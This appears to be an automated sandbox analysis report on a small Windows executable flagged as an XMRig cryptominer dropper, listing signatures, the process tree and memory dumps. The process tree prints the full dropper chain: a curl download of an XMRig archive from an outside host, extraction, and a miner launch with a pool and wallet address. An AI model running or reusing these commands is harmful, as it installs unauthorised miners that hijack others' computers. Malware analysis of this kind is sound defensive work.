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13/03/2024, 08:45
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240313-km8cysha9v1013/03/2024, 08:43
240313-kms82aah481012/03/2024, 18:00
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240312-wf31fahd5810Analysis
- max time kernel
1200s - max time network
1200s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
13/03/2024, 08:43
General
- Target test - Copy - Copy (2).exe
- Size 6KB
- Sample240313-kms82aah48
- SHA256 a1070b8803e4243699a44a77e60a199282814495bc3bd94759c07021c0a6c70c
Malware Config
Signatures
- XMRig Miner payload 64 IoCs
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\test - Copy - Copy (2).exe"C:\Users\Admin\AppData\Local\Temp\test - Copy - Copy (2).exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FwBeOA6J.bat" "2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\curl.execurl -o "C:\xmrig\xmrig-6.21.1-gcc-win64.zip" https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zip3⤵
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C:\Windows\system32\tar.exetar -xf "C:\xmrig\xmrig-6.21.1-gcc-win64.zip"3⤵
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C:\xmrig\xmrig-6.21.1\xmrig.exeC:\xmrig\xmrig-6.21.1\xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 49QgS4Cu9uqVeqgDpwtdZWYZrDNrUJXfzDiGmwsZFLdEgQPAQV7SbswUHqZG3B45HAiSR1cYZoSvgC56kctnqsSjMNFnJmU.RIG -p x --cpu-affinity=5 --cpu-no-yield3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
FwBeOA6J.bat
xmrig-6.21.1-gcc-win64.zip
xmrig.exe
memory/1172-56-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-58-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-92-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-91-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-90-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-26-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-27-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-28-0x000002A40EA30000-0x000002A40EA50000-memory.dmp
memory/1172-29-0x000002A40EA10000-0x000002A40EA30000-memory.dmp
memory/1172-59-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-31-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-32-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-33-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-34-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-35-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-36-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-37-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-38-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-39-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-41-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-40-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-42-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-43-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-44-0x000002A40EA30000-0x000002A40EA50000-memory.dmp
memory/1172-45-0x000002A40EA10000-0x000002A40EA30000-memory.dmp
memory/1172-46-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-47-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-48-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-49-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-50-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-51-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-52-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-53-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-54-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-55-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-23-0x000002A40CFD0000-0x000002A40CFF0000-memory.dmp
memory/1172-25-0x000002A40E9D0000-0x000002A40EA10000-memory.dmp
memory/1172-57-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-30-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-60-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-61-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-62-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-63-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-64-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-65-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-66-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-67-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-68-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-69-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-70-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-71-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-72-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-73-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-74-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-75-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-76-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-77-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-78-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-79-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-80-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-81-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-82-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-83-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-84-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-85-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-86-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-87-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-88-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/1172-89-0x00007FF704A10000-0x00007FF705514000-memory.dmp
memory/3640-7-0x00007FFC7B950000-0x00007FFC7C411000-memory.dmp
memory/3640-6-0x00007FFC7B950000-0x00007FFC7C411000-memory.dmp
memory/3640-0-0x00000000002E0000-0x00000000002E8000-memory.dmp
memory/3640-24-0x00007FFC7B950000-0x00007FFC7C411000-memory.dmp